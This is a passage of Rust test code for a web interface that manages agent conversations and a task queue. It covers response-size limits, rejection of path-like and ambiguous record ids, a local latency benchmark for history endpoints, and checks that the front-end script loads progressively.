24472        let ui = delta_test_ui(home.path());
24473        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24474        let mut task = Task::new(
24475            "filed task".into(),
24476            "large instruction ".repeat(65536),
24477            PathBuf::from("/repo"),
24478            Source::Agent {
24479                run: id.clone(),
24480                node: "chat".into(),
24481            },
24482        );
24483        ui.queue.put(&mut task).unwrap();
24484        let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
24485        assert_eq!(sections["tasks"][0]["id"], task.id);
24486        assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
24487        assert!(sections["tasks"][0].get("instruction").is_none());
24488        assert!(serde_json::to_vec(&sections).unwrap().len() < 8192);
24489    }
24490
24491    #[test]
24492    fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
24493        let home = tempfile::tempdir().unwrap();
24494        let talks = Talks::at(home.path().join("talks"));
24495        seed_talk_at(&talks, "20261019-000001-abcd", "open");
24496        seed_talk_at(&talks, "20261019-000002-abcd", "open");
24497        std::fs::write(home.path().join("outside.json"), "{}").unwrap();
24498        assert!(resolve_talk(&talks, "../outside").is_err());
24499        assert!(resolve_talk(&talks, "abcd").is_err());
24500        assert_eq!(
24501            resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
24502            "20261019-000001-abcd"
24503        );
24504    }
24505
24506    include!(concat!(
24507        env!("CARGO_MANIFEST_DIR"),
24508        "/tests/web_latency/baseline.rs"
24509    ));
24510
24511    include!(concat!(
24512        env!("CARGO_MANIFEST_DIR"),
24513        "/tests/web_latency/lists.rs"
24514    ));
24515
24516    #[tokio::test]
24517    #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
24518    async fn web_history_latency_measurement() {
24519        use std::time::Instant;
24520        let home = tempfile::tempdir().unwrap();
24521        let ui = delta_test_ui(home.path());
24522        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24523        let mut template = ui.talks.get(&id).unwrap();
24524        template.turns = serde_json::from_value(serde_json::json!([{
24525            "who": "operator", "body": "Show the accumulated work and its current status.",
24526            "at": Timestamp::now().to_string(),
24527        }]))
24528        .unwrap();
24529        std::fs::write(
24530            ui.talks.path_of(&id),
24531            serde_json::to_vec(&template).unwrap(),
24532        )
24533        .unwrap();
24534        let count = std::env::var("MAGI_BENCH_RECORDS")
24535            .ok()
24536            .and_then(|s| s.parse::<usize>().ok())
24537            .unwrap_or(1000);
24538        for i in 0..count {
24539            template.id = format!("20261019-{i:06}-history");
24540            template.pending = "history ".repeat(2048);
24541            std::fs::write(
24542                ui.talks.path_of(&template.id),
24543                serde_json::to_vec(&template).unwrap(),
24544            )
24545            .unwrap();
24546            let mut task = Task::new(
24547                "old task".into(),
24548                "instruction ".repeat(2048),
24549                PathBuf::from("/repo"),
24550                Source::Human,
24551            );
24552            task.id = format!("20261019-{i:06}-task");
24553            ui.queue.put(&mut task).unwrap();
24554        }
24555        for baseline in [true, false] {
24556            for clients in [1, 4] {
24557                let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
24558                let mut samples = Vec::new();
24559                for _ in 0..12 {
24560                    let mut jobs = Vec::new();
24561                    for _ in 0..clients {
24562                        let ui = ui.clone();
24563                        let id = id.clone();
24564                        jobs.push(tokio::spawn(async move {
24565                            let start = Instant::now();
24566                            if baseline {
24567                                let response =
24568                                    baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
24569                                let elapsed = start.elapsed().as_secs_f64() * 1000.0;
24570                                return (
24571                                    elapsed,
24572                                    elapsed,
24573                                    serde_json::to_vec(&response).unwrap().len(),
24574                                );
24575                            }
24576                            let core = talk_core(State(ui.clone()), Path(id.clone()));
24577                            let secondary = talk_sections(State(ui), Path(id));
24578                            let (first, total) = tokio::join!(
24579                                async {
24580                                    let value = core.await.unwrap().0;
24581                                    (
24582                                        start.elapsed().as_secs_f64() * 1000.0,
24583                                        serde_json::to_vec(&value).unwrap().len(),
24584                                    )
24585                                },
24586                                async {
24587                                    let value = secondary.await.unwrap().0;
24588                                    (
24589                                        start.elapsed().as_secs_f64() * 1000.0,
24590                                        serde_json::to_vec(&value).unwrap().len(),
24591                                    )
24592                                }
24593                            );
24594                            (first.0, first.0.max(total.0), first.1 + total.1)
24595                        }));
24596                    }
24597                    for job in jobs {
24598                        samples.push(job.await.unwrap());
24599                    }
24600                }
24601                let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
24602                let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
24603                first.sort_by(f64::total_cmp);
24604                total.sort_by(f64::total_cmp);
24605                let n = first.len();
24606                let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
24607                println!(
24608                    "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
24609                    first[n / 2],
24610                    first[(n * 95 / 100).min(n - 1)],
24611                    total[n / 2],
24612                    total[(n * 95 / 100).min(n - 1)],
24613                    samples[0].2
24614                );
24615            }
24616        }
24617    }
24618
24619    #[test]
24620    fn app_js_contains_progressive_rendering_and_decoupled_reports() {
24621        // Assert that app.js decouples loadRun and does not block on Promise.allSettled for reports
24622        assert!(!APP_JS.contains("Promise.allSettled([\n    getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
24623        assert!(APP_JS.contains("function nextRunRequest(id)"));
24624        assert!(APP_JS.contains("function runShell(id, summary)"));
24625        assert!(APP_JS.contains("function nextTaskRequest(id)"));
24626        assert!(APP_JS.contains("function taskShell(id, summary)"));
24627        assert!(APP_JS.contains("state.detail.reportLoading = false;"));
24628    }
24629}